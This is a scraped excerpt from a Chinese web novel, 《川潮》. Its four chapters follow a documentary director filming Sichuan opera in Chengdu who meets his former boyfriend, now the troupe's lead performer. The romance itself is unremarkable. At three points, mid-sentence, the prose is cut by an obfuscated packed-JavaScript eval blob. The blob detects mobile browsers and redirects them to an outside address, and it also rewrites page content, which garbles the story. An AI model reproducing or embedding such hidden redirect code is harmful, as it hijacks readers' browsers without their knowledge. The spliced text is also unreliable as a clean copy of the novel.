《川潮》 1. 前任变甲方是种什么体验 这两天的成都快被水汽浸透了,然而空中的湿热非但没有散去,反而从地底蒸腾起来,闷得人有些透不过气。 这会儿太阳刚挣扎着出来,檐角还在淅淅沥沥地滴水,在石板上砸出深浅不一的水洼。 陈声和站在川剧院馆外,低头清点设备。摄像机、收音麦、备用电池,一样样检查过去,手指在设备器材上多停留了一会。 潮湿的空气里,飘来花椒和熟油海椒的香气,还掺着雨后的土腥味,这是成都专属的味道,五年过去,依然熟悉得让他喉头发紧。 “陈导,后台通道在那边。”林瑶小跑过来,手里晃着两张通行证,“川剧团的人说可以先进去拍化妆过程。” 这个刚毕业两年的小姑娘,做事麻利,但总带着点小心翼翼的试探,像是怕这个不爱笑的导演会发火。 “走吧。”他微微颔首,跟着林瑶穿过回廊。 越靠近后台,锣鼓声就越清晰,夹杂着演员吊嗓的咿呀声。某个瞬间,他恍惚听见一段高亢的川剧帮腔,脚步猛地顿住。 “导演?”林瑶疑惑地回头。 陈声和没说话,抬手扯了扯衬衫领口。今天他特意穿了件白衬衫,导演组的深蓝色工作牌挂在胸前,像块小小的盾牌将他护住。 后台比想象中还要拥挤。非遗文化节刚结束,参加表演的演员们几乎都涌到了这里。放眼望去,少说有十来个人正对镜上妆,空气里弥漫着熟悉的油彩味,浓郁又刺鼻。 走廊两侧堆满了戏箱,红漆剥落的木箱上贴着泛黄的标签:《白蛇传》《柳荫记》《秋江》。 陈声和的指腹蹭过箱角,沾了一层薄灰。 “陈导,这边就是。”林瑶压低声音,“川剧团的主演已经在化妆了,听说他脾气不怎么好,我们要不要等会再进去?” 陈声和示意摄影师开机先拍全景,自己往化妆间走去。 他攥了攥手中的旧相机,金属边缘硌得掌心生疼,可这疼痛让他大脑保持了清醒,也让他有勇气迈出最后几步。 川剧演员化妆间的门虚掩着,里头漏出些说笑和音乐声。陈声和抬手,指节悬在门板前,却又忽然迟疑,只剩下他自己有些慌乱的心跳。 门缝里传出化妆师的絮语:“李老师,眉毛再挑高些?” “嗯。” 就这一个音节。 那声音听起来挺低沉的,还有点哑,是刚从梦里醒来的调子,却让陈声和心脏都跟着猛地一抽。 他将手缩回去,本能地又往后退了几步,好像只有这样,才是安全的。 门缝里漏出一线光,勾着他又往前挪了一些,鞋跟碾到地板上未干的水渍。 化妆间里弥漫着油彩的气味,演员们正对着镜子专注勾脸,笔尖蘸着鲜艳的油彩,一笔一画将平凡的面容覆上神话的色彩。 此起彼伏的交谈声与化妆刷的沙沙声交织在一起,这些声音在暖黄色的灯光下混在一起,感觉就像回到了过去,挺温馨的。 他的视线游移,最终落在不远处的角落里。 那里镜前坐着个人,肩背挺得笔直,黑色练功服领口露出一截后颈,手中把玩着一只勾脸笔。 此刻化妆师正给他勾脸,笔尖蘸了金粉,沿着眉骨细细描画。镜中映出半张已经上妆的脸,剑眉斜飞入鬓,眼尾一抹朱砂红,像是被谁用手指抹了一下。 陈声和的拳头慢慢收紧,关节那儿都给捏得有点发白了。他以为自己早已将那个身影从记忆里抹去,却在此刻猝不及防地重逢。 他有些慌乱的再次后退了几步,后背却不小心撞上门口的道具架,金属碰撞的脆响让嘈杂的化妆间里安静下来。 笔尖一顿。正在化妆的演员突然抬眼,镜中的目光穿过五年的光阴猝然相撞。 空气仿佛在这一刻停滞了,连周围的说笑声都渐渐远去。 陈声和来不及躲,也忘了躲。他看见李霄川的瞳孔猛地收缩了一下,手中把玩的勾脸笔啪地折成两截。 断笔弹在妆台上,溅起几点胭脂,正落在手指上。那抹红色鲜亮得刺眼,仿佛还带着化妆间里的温热。 “哎哟,陈导!” 化妆间的门被大力推开,川剧团团长张维领着几个人走进来。 “李老师,来来来,这位是陈声和陈导,负责这次咱们川剧纪录片的拍摄。”张维一把拉住陈声和走进来,热情地介绍着,“陈导团队在业内很有名,去年拍的《岭南遗韵》还拿了奖。” 李霄川随手擦了擦手上的胭脂痕迹,起身慢悠悠地走过来,似笑非笑地伸出手:“陈导,久仰大名。” 陈声和费了好大劲儿才把心里的难受压下去,慢慢伸手握住了李霄川。 李霄川的手心还是那么暖,带着常年练功磨出的茧子,糙糙地蹭过陈声和的指节。 这触感太熟悉了,熟悉得让陈声和一下子晃了神,好像又回到了好多年前成都的那个冬天。 那时,他们也是这样,在火锅蒸腾的热气里,偷偷牵着手。 “李老师好。”陈声和的声音比自己想象的还要稳定些,“打扰了。” “不打扰。”李霄川收回手,目光在他脸上停留了一下,“能让陈导亲自来拍,是我们川剧院的荣幸。” 他说起话来,还是带着点成都人的绵软尾音,但又比大学那会儿字正腔圆了不少,像是刻意把所有的棱角都给磨平了。 “那你们专业人聊着,我还有点事,晚上安排一起吃个饭!”张维说完便匆忙离开了。 陈声和垂下眼,假装调整手里的相机参数,镜头盖却在手里转了几个来回才对准卡槽。 “听说陈导是广东人?”李霄川突然问。 “……潮汕。” “哦,潮汕。”李霄川点点头,手指在练功服上敲着,像是第一次听说似的,“那来我们成都,吃辣应该还是不习惯吧?” 陈声和的手指一下子定在快门键上,动不了了。 化妆间的音乐好像忽然被调小了,远远的,只剩下脑海里火锅咕嘟咕嘟冒泡的声音。 他还记得大学那会儿,第一次跟李霄川去他姑店里吃火锅,辣得他眼泪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004118|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直飙。李霄川一边笑得不行,一边还是跑出去给他买了牛奶解辣。 从那之后,每次聚餐,李霄川都会默默给他点个鸳鸯锅,甚至连他喜欢的蘸料都记得清清楚楚:芝麻酱加点香菜,不要蒜,也不要折耳根。 “现在能吃了。”他听见自己说,指腹轻轻扣着相机边缘。 李霄川挑了挑眉:“是吗?” 他的目光在陈声和泛红的耳尖上停留了一瞬,没再说什么,转身走向练功房,也不管脸上的妆画了一半,拍了拍手。 “好了,开始晨课,快枪组合动作,再来一遍。” 剧组已经在练功房准备就绪,陈声和深吸一口气,也转身跟了上去。 鼓点一响,十几个武生齐刷刷翻起跟头,场面一下子燃了起来。 李霄川站在最前面,一个漂亮的“倒踢紫金冠”,跃起的高度,让所有人都差点喊出“好”来。 陈声和透过镜头望着他,情不自禁地,连呼吸都放轻了。 镜头里的李霄川比现实中更加遥远。他的每一个动作都干净利落,太标准了,标准到连手手指的细节都挑不出毛病,简直像刻意演给镜头看的。 “李老师好厉害啊,比我在网上看到的还要优秀……”林瑶小声感叹,手里的备用相机拍个不停。 陈声和没有回答。 他知道,李霄川从来都是这样,越是有人看着,越是表现得完美无缺。 就像当年自己离开时,怂得只敢躲在机场角落偷看,却见那人走得背脊笔直,演得跟青松似的,一寸都不肯弯。 然而只有陈声和晓得,那天深夜学姐打来电话,说李霄川一个人喝得烂醉,哭着反复问“为什么”。 “陈导?”林瑶的声音把他拉回现实,“要不要换个角度拍?李老师这侧脸也很出片,可以当花絮,后期做一些表情包搭配纪录片。” 陈声和微微额首,继续盯着取景器。 练功房的木地板被晨光晒的暖烘烘的,李霄川一个腾空翻身,汗珠在空中甩出水线。 阳光从老式窗户斜斜地切进来,正好给武生们描了层金边,那些飞出去的汗珠在光里闪啊闪的,跟撒了把碎钻似的。 这画面让陈声和恍惚中想起大学时的一个清晨,他发烧到38度,却坚持要去拍李霄川的晨功。 那时李霄川也是这样,在朝阳下翻跟头,每一个动作都漂亮得让他舍不得眨眼。 “别拍了。”当时的李霄川发现他不舒服后,直接把他拽回宿舍,“你脸色白得像装修了一样。” “可我想拍……” “以后有的是机会。”李霄川把他按在床上,恶狠狠地威胁,“再乱跑我就亲晕你了啊。” 那时候他们刚谈没多久,每天都腻歪不够,时刻想在一起,哪怕只是就那样安静的在一起学习都可以。 后来他迷迷糊糊睡着了,醒来时发现李霄川就坐在宿舍床下边守了一夜,手里还攥着退烧贴。 而现在,他们之间隔着整个练功房的距离,镜头里的李霄川再也不会为他停下。 2. 导演,你镜头怼我脸上了 “OK,休息十分钟!” 李霄川的声音打断了陈声和的思绪。 陈声和意识到自己盯着监视器已经太久。他放下随身携带的像机,胸口突然一阵发闷,这才发现刚才一直屏着呼吸。 “陈导,您要不要去休息室喝点水?”林瑶递来保温杯,杯口还冒着热气。 他摇了摇头,正要说话,却听见身后传来一个清脆的女声:“师兄!你的水!” 一个扎着高马尾的年轻女孩蹦蹦跳跳地跑过来,递给李霄川一瓶运动饮料。她的眼睛亮得像星星,脸颊因为刚从外面回来带着红晕。 “谢了小满满。”李霄川拧开瓶盖,顺手揉了揉她头顶,女孩的发绳被带歪了,碎发支棱在耳边,像只毛茸茸的小动物。 陈声和别开眼,转身去调监视器亮度,手指却在按键上停留着不动。 “那是谢满悦,剧团的青衣小师妹,今年刚满十九岁。”林瑶小声解释,“听说她天赋特别好,李老师和剧团很器重她。” “嗯”陈声和应了一声,目光落回监视器里。 李霄川仰头喝水的侧脸正好映在上面,喉结滚动时汗珠顺着下颌线滑进衣领。 旁边的化妆师走过去给他补妆,蘸着油彩的笔尖,一点点将那熟悉的眉眼描绘得陌生。 “为什么会上一半妆?”心里有个声音在问。 当时李霄川说:“一半在戏里,一半在梦外。以前……总是入戏太深,师傅骂我出不了戏的演员,会把自己逼疯。” 那时候李霄川笑着从化妆镜里看着他:“不过现在好啦,一半清醒,一半醉。只是这清醒的一半,总觉得脸上的油彩,这辈子都洗不干净喽。” 陈声和笑着保证:“那我就赚钱买最好的卸妆水给你用!” 脑海里的声音如此清晰,被自己刻意忘掉的画面,也是这样刻骨铭心。 原来记忆真的忘不掉么? 李霄川剩下的一半妆也画全了,他的眉眼被油彩勾勒得愈发锋利,眼角那颗泪痣却仍清晰可见。 其实那不是一颗天生的痣,是李霄川小时候练功时摔下来,沾着颜料的木屑插进皮肤里没有及时处理,因此留了那么一个永久的印记。 拍摄开始得很顺利,至少表面是这样的。然而在陈声和心里,拍摄过程对他来说就像一场凌迟。 透过监视器,他看着李霄川熟练地勾脸、勒头、穿戏服。每一个动作都干净利落,带着经年累月训练出的肌肉记忆。 “李老师,手再抬高些。”摄影师调整着焦距说。 李霄川配合地抬手,水袖滑落,露出手腕内侧一道浅疤。 陈声和猛地别开眼。 那是大二那年他发烧,李霄川翻宿舍门出去买药,被铁栅栏刮伤的,后来这人偷偷纹了个疤痕纹身。 “李老师,能不能再侧一点?最好是自然光束里。” 李霄川偏头的角度刚好让窗外的阳光打在鼻梁上,但他看的不是镜头,而是直直望向监视器后的陈声和:“这样?” “对对对,保持住别动啊。” “陈导?”林瑶轻轻碰他手肘,“要补个李老师靠旗的特写。” 陈声和回过神,接过摄像机亲自拍。镜头推到最近,李霄川正在系靠旗的绳结,修长的手指灵活地穿梭在红绳间。 忽地,他手指一顿:“嘶。” 化妆师手里的粉扑停在半空:“勾到头发了?” 李霄川微微摇头,随即转头看向镜头。陈声和猝不及防与他四目相对,手一抖,差点碰倒身后的反光板。 “绳结松了。”李霄川说,眼睛却盯着陈声和,“能帮我一下吗?” 化妆师刚要上前,李霄川却指了指陈声和:“陈导离得近,帮帮忙。” 全场都愣了愣,大气儿不敢出一个,生怕李霄川发火罢拍了。 陈声和团队来之前就听说过李霄川脾气大,不配合导演组拍摄,经常罢拍的事情。 哪个圈子里都是有八卦的,这个不好伺候,哪个耍大牌等等,自然也就传到了每个团队耳朵里。 陈声和只好放下摄像机,有点僵硬地走过去。李霄川背对着他站在那儿,靠旗的绳子垂在腰后,跟条听话的红蛇似的。 “系紧些。”李霄川低声说,“不然武打动作会散。” 低沉的声音激起陈声和皮肤上细小的战栗。他手都有点不听使唤,绳子系了三次才勉强系上。 最后用力一拉的时候,李霄川突然往后靠了小半步…… 陈声和的鼻子差点就贴到他后背上,也不知道是不是故意的。 那一瞬间,熟悉的冷杉香和油彩味直冲过来。陈声和猛地往后一退,却听见李霄川很轻地笑了一下。 “陈导还是这么……”他顿了顿,没说完。 还是这么怕我? 还是这么容易脸红? 还是这么只会躲着? 没说完的话就这么悬在了半空,陈声和低头盯着自己打歪的绳结,忽然想起大二那年第一次帮李霄川系戏服,也是这么手忙脚乱的。 那时候李霄川笑他:“小广仔不用心啊”,说完就顺势握住他的手,一步一步带着他系。 后来回想起来,哪是真要教他啊,不过是找个借口靠近罢了。 …… 中场休息十分钟,陈声和一头躲进了洗手间。 他用冷水冲着擦破的手背,皮肤红了一片。抬头看了眼镜子,自己脸色实在不好,常年熬夜的黑眼圈挂在眼下,嘴唇也因为刚才一阵慌乱,被咬得发白。 可就算这么狼狈,也盖不住他原本的好模样。那双微微下垂的眼尾,这时候泛着点自然的红,像画里轻轻描出来的淡霞。 年轻导演这张脸,确实是好看的。 陈声和猛地低头又捧了把水用力扑在脸上,冷水顺着下巴滴进领口,冰凉一片,可脸颊和耳朵却违背常理地越来越烫。 他撑着洗手台,慢慢吸了口气,再抬起头。 镜中的眼睛已经被冷水激出了一层生理性的水光,湿漉漉地蒙在瞳孔表面,眼尾那抹红也越发清晰。 明明没有流泪,可这副眼眶泛红、眸光颤动的模样,任谁看了,都会觉得他刚刚经历过一场情绪崩塌。 其实没有。 哪怕是分手那天,他也没在那人面前掉一滴眼泪。只是沉默地把李霄川送的东西一件件打包,包括他最喜欢的脸谱。 五年了。 他原以为再见面时,自己至少能体面地点个头,问句“最近还好吗”。可当李霄川活生生站在眼前,他才意识到…… 身体比脑子记得更清楚。 心脏在肋骨后面疯了一样地撞,撞得他喉咙发紧,手指到现在还残留着麻痹感,仿佛被微弱的电流击穿,神经都跟着罢了工。 荒唐的是,这五年里,那股麻痹感其实从未真正消失。它只是潜伏着,从他离开的城市,一路尾随到潮汕闷热漫长的雨季里。 门外传来脚步声。 陈声和迅速关上水龙头,胡乱抹了把脸。 “陈导?”林瑶的声音隔着门板传来,“川剧团问能不能继续拍了,说李老师后面的场次很满……” “马上来。” 他在洗手间又待了几分钟,深吸一口气推开门,却猝不及防撞进一个熟悉的体温里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004119|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李霄川不知什么时候堵在了门口,脸上还带着未卸的油彩,红白相间的纹路将他的表情割裂成两半。 他手里捏着盒创可贴和一支药膏,目光钉在陈声和右手,那是刚才收拾设备时被铁皮划了道口子,彩油混着血痕已经凝固成暗红色。 “云南白药。”他往前递了递,“比卸妆水管用。” 陈声和没接:“不用了,只是划痕。” 确实没必要,只是一个铁皮划伤的口子而已,他这些年片场受过比这重的伤都有,没什么大惊小怪的。 李霄川的手悬在空中,片刻后他突然又笑了起来。 “陈声和。”他连名带姓地叫,声音压得很低,“五年不见,你连我的药都不敢用了?” 空气像是被抽干了一样,变得稀薄。 陈声和抬眼,正对上李霄川的视线,那里面翻滚着太多东西。像夏日暴雨前低压的云层,闷得人喘不过气,又像冬日里的冰溜子危险地垂在脑袋上方。 “怕我毒死你啊?”李霄川语气里满是嘲讽。 他最终还是接过药膏,但在手指相触的瞬间,李霄川突然又收紧了手指。 “伸手。”命令式的口吻,和当年每次生气时如出一辙。 陈声和条件反射地把手往后缩:“不用。” 李霄川却霸道的直接扣住他手腕。 皮肤相贴的刹那,两人同时僵住。李霄川的掌心比记忆里粗糙了太多,常年练枪留下的茧子磨得陈声和皮肤生疼。 “还是不会照顾自己。”李霄川撕开创可贴,语气中带着不满,“以前是磕到桌角,现在是划伤手。” 陈声和盯着他发顶那个小小的旋:“……小伤而已,不碍事。” “对你来说什么都是小伤。”李霄川忽地抬头,眼底仿佛有火在燃烧,压抑着声音,“胃出血是小伤,发烧到40度是小伤,分手也是小伤。” 最后一个词砸在地上,碎成扎人的玻璃碴子。 陈声和猛地抽回手:“李老师,我们没那么熟。” 李霄川的表情变得更冷了,他低头看了看自己悬在半空的手,慢慢收回插进裤兜。 “对,不熟。”他后退半步拉开距离,就那么看着他,“那陈导记得到医院换药,片场铁锈多,破伤风不是闹着玩的。” 转身离开时,他的戏服下摆扫过门框,却在跨出门槛时又突然停住。 “差点忘了问,”他背对着陈声和,指甲抠着门框上剥落的漆皮,“听说这次和陈太太一起来的成都?” 陈声和愣了会儿才反应过来,气得声音发抖:“……我没结婚。” 李霄川的稍微松了松,转身时却把语气又压冷几分:“哦,那就是……陈先生?” 这次陈声和直接把创可贴砸在他背上:“李霄川!” 这三个字砸在空气里,两人都愣住了。 重逢后,他还是第一次这么连名带姓地喊他。 李霄川手指还沾着冰凉的卸妆油,在门把手上留下几道黏糊糊的印子。 他慢慢转回来,看见陈声和胸口微微起伏,眼底有什么东西正一点点化开:“陈导还有事?” 陈声和的喉结动了动,最终还是什么也没说,转身走了。 空气里只剩下他自己的呼吸声,李霄川几乎要冷笑出声,可攥紧的拳头却先一步泄了力,慢慢松开。 他垂下眼,盯着地上那片创可贴,最后还是弯腰捡了起来。拇指蹭过包装上那个傻乎乎的卡通图案时,心里像被什么东西狠狠蜇了一下。 五年前,陈声和包里总备着这个。 如今,怕是连多看一眼都不愿意了。 3. 导演今天又在偷看武生 下午的拍摄安静得有点反常。 场务小哥来回跑了好几趟,反光板都递错了两回,场记赶紧扯他袖子,压低声音:“你咋回事啊?没看见陈导一直盯着监视器,头都没抬过吗?” 李霄川倒是全程配合,可每个动作都像拿尺子比着做出来的,连变脸时红色脸谱甩出去的弧度,都跟教学视频里分毫不差。 陈声和呢,从头到尾就没离开过监视器后面那块地儿,目光黏在屏幕上,好像只要不抬头,就能完美避开所有不该有的对视和交集。 就这么不咸不淡地拍到快收工。 最后一场戏了,摄影师搓着手凑过来,有点不好意思:“李老师,能麻烦您再变一次脸吗?刚才那束光没打好,有点偏了。” 李霄川点点头,坐下来让化妆师补妆。勾脸笔凉凉地划过额头,他微微抬起眼,目光掠过镜子的边缘。 陈声和就坐在监视器后面,左手随意地搭在机器外壳上,手里松松地握着个黑色对讲机。 他无名指上干干净净,什么也没有。 “锵”又是一声锣响,雪白的水袖猛地泼洒开来,就像是一朵激起的浪花。 镜头死死咬住那张脸:蓝脸的窦尔敦怒目圆睁,红脸的关公抚须转身,最终稳稳定格在一张金色的二郎神脸谱上。 可就在音乐将收未收、全场屏息的那一刹那,面具上那双描着金粉的眼睛,忽然准确找到了镜头。 隔着不到两米的空气,李霄川对着镜头轻轻唱出一句:“早知惊破当年梦,何必西厢染胭脂……” “滋啦!” 陈声和手里的对讲机猛地滑脱,砸在监视器外壳上,发出一串刺耳的电流噪音,像是替他失控的心跳和颤抖的手指,发出了再也无法掩饰的尖叫。 焊接在他脸上的那副维系了一整日的“专业”与“冷静”面具,在此刻轰然裂开,露出一道无法弥合的缝隙。 监视器的屏幕里,李霄川眼角那颗小小的泪痣,正隐隐约约,从厚重的金色油彩底下透出来。 仿佛将一个迟到了许久的特写镜头,不由分说,狠狠地怼到了陈声和的眼前。 时光在刹那间倒流、坍缩。 屏幕里这个目光灼灼、以戏文叩问的川剧名角,与记忆里那个在宿舍楼昏暗拐角处,哼着不成调的戏文,然后趁他不备飞快偷走一个吻的青涩少年,严丝合缝地重叠在了一起。 …… 拍摄结束已经是傍晚了,窗外的天色正从橘红褪成暗蓝。 工作人员收拾着东西,陆陆续续都撤了。只有陈声和还一个人坐在借来的地方,对着屏幕,一帧一帧回放今天拍的画面。 屏幕上,李霄川的侧脸被油彩勾勒得有点锋利,可镜头推近,眼角那颗泪痣底下,在镜头下清晰地露出一道疤。 陈声和的手指在空格键上悬了一会儿,最后还是按了暂停。 其实,劝李霄川把这颗泪痣点掉的人不少。说那颗痣长的位置不好,哪怕是个疤也该去掉。他自己也不是没动过念头,盘算着,等哪天放假了,就去医院做个激光,一了百了。 可偏偏那天晚上,陈声和凑了过来,温热的嘴唇轻轻贴在他眼角,落在那颗痣的位置。 “别去掉它。” “怎么呢?”李霄川笑着问他。 陈声和手指轻轻碰了碰那颗痣,声音软糯:“有人说这是伤悲痣,我偏不信。让成都的雨,潮汕的海,还有我的吻,都替你守着它。” 李霄川心尖儿蓦地一颤,之前所有关于“要不要点掉”的纠结,在那一瞬间全蒸发了。 他低低地笑起来,眼睛弯成两道桥,手臂一环,就把人紧紧搂进怀里。 “嘿呦,说的这么浪漫,”他夸赞的毫不吝啬,答应的也毫不犹豫,“要的,都听你的。” 陈声和靠在他胸口,心里却还在暗暗地较劲:什么命不命运的,我偏不信。要是它真带给你不好的,那我以后所有的吻,都留在这儿,一个一个,把它化解掉。 “陈导还没走?” 一道声儿把他拉回来,陈声和心里咯噔一下,肩胛骨猛地收紧,手忙脚乱就按了退出全屏。转身太急,笔记本差点把旁边的保温杯给扫飞,杯身哐当砸在桌面上。 李霄川正歪在门框上看他。演出服换成了松松垮垮的黑T恤,卸完妆的脸在节能灯底下有点发青,比台上看着至少能小个五岁。 就是那对黑眼圈还挂在眼下,淡淡的,像洇了水的墨痕。 “马上走了。”陈声和把笔记本塞进包里,拉链卡住了一角,他用力拽了几次才拉好。 李霄川点点头,右手搭在门把手上没动。 沉默在屋里漫开,压得人有点喘不过气。谁能想到这俩人当年好得跟连体婴似的,楼下买个菜都要发信息确认对方能不能拎得动。 “你团队的人呢?”李霄川又开口,声线比台上说话时沉了一些。 “让他们先回酒店了。”陈声和看了眼手机,电量显示11%。 从接下这个关于川剧非遗的纪录片项目开始,他就知道迟早要再见李霄川。这个拥有二十万粉丝的“川剧第一脸”,也是他整整五年没见的……前男友。 “吃饭了吗?” “不饿。” 窗外的灯恰好在此时亮起,在李霄川身后拉出一道细长的影子,不偏不倚就那么横在两人之间的地板上,像划开了一条界线。 李霄川嗤笑出声:“陈声和,你现在跟我说话,字数比发短信还省。” 陈声和的呼吸节奏乱了半拍,喉结在阴影中滚了滚。 分手后,他逼着自己删了李霄川的所有联系方式,却在一个醉酒后的凌晨,忍不住往那个早已停用的号码发了条“对不起”。 而李霄川知道这件事。 这意味着,那个早已停机的号码,他至今都没换。 “……我走了。” 陈声和抓起搭在椅背上的外套,动作太急导致袖口挂住扶手,他想也没想猛地一扯,纽扣应声绷断,在地板上弹跳着不知滚去了哪里。 身后门轴转动发出冗长的吱呀声,李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004120|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霄川的嗓音混在里面:“明天见,陈导。” 陈声和没回头,所以没看见,在他转身后,李霄川沉默地弯腰,从地板缝隙里拾起那颗掉落的纽扣,然后将它紧紧攥进了掌心。 …… 第二天的拍摄安排在川剧院的老戏台,晨曦微露之际,这座木质构筑在柔和的光线中,显露着岁月沉寂后的暗红,仿佛可以加了一层滤镜。 陈声和提前半小时到了现场,没想到后台的灯已经亮着了。昏黄的光线从门缝底下漏出来,在地板上拉出一道影子。 他推门进去,李霄川正在里面独自压腿,那身黑色练功服,早就被汗浸透了,紧贴在背上,动作间能清楚看见肩胛骨的轮廓。 来了至少一个小时了,陈声和在心里默默想着,还是和以前一样的习惯,永远比别人早一步。 听见动静,李霄川转过头。他额前的碎发湿漉漉地贴在眉骨上:“来这么早?” 陈声和移开视线,低头调试摄像机:“提前看看场地光线。” 李霄川没再接话,抓起毛巾擦了擦脖子,喉结滚动时,陈声和注意到他锁骨上方有一道新鲜的擦伤,应该是昨天变脸时面具边缘刮的。 “……你受伤了。”话一出口他就抿住了唇。 李霄川动作一顿,抬眼看他,嘴角扯出个笑:“陈导现在连这种小伤都要管了?” 陈声和不吭声儿,过了会儿,又从包里摸出个铁皮盒子,搁在掉漆的化妆台上,然后往后退到安全的位置。 “止血的。” 李霄川盯着那个印着潮汕方言字样的旧药盒,顺嘴一问:“你一直随身带这个?” “……习惯了。” “陈声和。”李霄川望着他,手指敲了敲药盒,“你知道我为什么接这个纪录片吗?” 陈声和的目光落在设备显示屏边缘,也不知道在看什么:“……非遗项目,对剧团宣传有帮助。” 李霄川嘲弄一笑,拧开药盒,浓重的苦香漫出来,他低头嗅了嗅。 “还是以前那个味道。”他拇指蹭过盒口凝固的药渍,“你阿嬷的配方。” 陈声和喉结动了动,又不出声了。 记忆开始翻涌。 大学时李霄川练功扭伤肩膀,他连夜打电话回潮汕,阿嬷在电话那头絮絮叨叨念配方。他则蹲在宿舍走廊熬药,不锈钢锅底糊了一层,满手都是洗不掉的苦味。 李霄川一边皱眉说“闻着像凉茶”,一边乖乖撩起衣摆让他涂药,最后再低头亲他手腕,笑着说“小广仔的手比药还灵。” 而现在,那只手正死死攥着手腕上的相机背带,再也不敢触碰眼前这个人了。 “李老师!陈导!”林瑶的声音由远及近,伴随着杂乱的脚步声,“设备都架好了,随时可以开始啦!” 李霄川“啪”地合上药盒,随手丢进化妆箱里。铁皮盒子撞上其他物件,叮叮当当响成一片。 “走吧,陈导。”他抓起搭在椅背上的戏服外套,仿佛刚才的对话从未发生,“别耽误您拍摄。” 4. 谁先眨眼谁就输 戏台的拍摄进度比预期快了不少。 剧组里有人闲磕牙,说这京剧好比是琉璃盏,装的是王侯将相的酒;川剧呢,就是土陶碗,盛的是市井巷陌的茶,讲的就是俗世里的机锋与算计。 陈声和坐在监视器后看着,觉得这话一点儿也没错。 若说京剧是工笔重彩的帝王图,那川剧则是描摹世情的风俗画,精髓全在一个“诈”字,是小人物的生存智慧。 而李霄川在镜头前,简直把这“俗世”演活了。 他的唱腔清越激荡,身段更是漂亮。翻身、亮相,每一个动作都完美的卡在鼓点上。 连后台那位一直眯着眼喝茶的老团长,李霄川的每场戏都会放下了他那把紫砂壶,跟着板眼,在膝头一下下拍着,听得入了神。 然而,陈声和却盯着监视器慢慢皱起了眉,高清镜头不会说谎,每次水袖翻飞时,李霄川的右手腕都会微颤一下。 他在忍痛。 “Cut!”陈声和突然喊停,“休息十分钟。” 场务们面面相觑,这位以严格著称的导演很少中途叫停,但这几天,喊“Cut”的次数越来越多了。 李霄川撩开戏服下摆跳下舞台,额前的碎发还挂着汗:“陈导哪段不满意?” 陈声和没理他,拿了瓶矿泉水递过去,目光落在不由自主揉按的右手腕,这才压低声音:“你手怎么了?” “陈导观察挺仔细啊。”李霄川低笑了一声,干脆利落地卷起戏服袖子。小臂内侧一片触目惊心的瘀紫,在皮肤上分外扎眼。 “昨儿排练新动作没控制好力道。”他转了转手腕,骨节发出轻微的咔响,“不影响拍摄。” 陈声和盯着那道淤青,胸口发闷。 大学时李霄川也是这样,练功受伤从不喊疼,有一次骨裂还硬撑着演完才去医院。 当时陈声和气得三天没理他,最后被李霄川堵在琴房,抱着哄了半天才肯说话。 “处理过了吗?”他听见自己声音发紧。 李霄川盯着他看了好一会,忽地往前一步凑近,妆的油彩味夹杂着熟悉的须后水气息扑面而来:“陈导现在问这个,算公事还是私事?” 陈声和下意识后退几步,后腰抵上了监视器支架。 呼吸交错,陈声和闻到他身上淡淡的冷杉香,还是当年那款,只是前调的柑橘味没了,剩下的全是苦寒的木调。 当年还是他替他选的。 “职业操守。”他别开脸,“拍摄期间演员受伤会影响进度。” 李霄川嘴角扯出个笑,转身时戏服蟒袍扫过摄像机三脚架:“那您真是多虑了。” 他走向舞台的步伐依旧稳健,只有自己清楚,垂在身侧的右手,掌心被掐得有多疼。 …… 收工时夜已经很深了,片场的人陆续散去,只剩几盏孤零零的灯还亮着。 陈声和检查完最后一段素材,合上笔记本,揉了揉发酸的后颈。抬头时,目光无意间扫到露天戏台边,李霄川还站在那里,斜倚着朱漆剥落的柱子,指间夹着一支烟。 烟头的红光在黑暗里明明灭灭,映出他瘦削的下颌线。夜风掠过,烟雾模糊了他的表情。 陈声和站在原地迟疑了一会儿,最终还是朝他走去。 “还没走?”他开口,声音比想象中干涩太多了。 李霄川吐出一口烟,没看他:“等车。” 沉默又在两人之间蔓延。 夜风裹着烟味飘过来,陈声和想起大学时李霄川第一次抽烟,是在他们吵架后。被他抓到在天台偷偷抽,这人被劣质烟呛得眼眶发红,还梗着脖子说“哪个爷们儿不抽烟?” 而现在,他夹烟的姿势熟练的很。 “你以前……不抽烟的。”陈声和低声说。 李霄川嗯了一声,烟嗓沙哑:“陈导记性真好。” 他弹了弹烟灰,火星簌簌落下。其实并不是他不抽,是和他在一起后就戒了,陈声和不喜欢烟味。 “你呢?”他突然轻声问,“胃病好了?” 陈声和犹豫着点头。 李霄川又追问:“还熬夜?” “……偶尔。”陈声和只能这样说,毕竟导演这个职业,不熬夜不可能。 “咖啡还是每天三杯?” 陈声和张了张嘴,忽然就出不了声了。 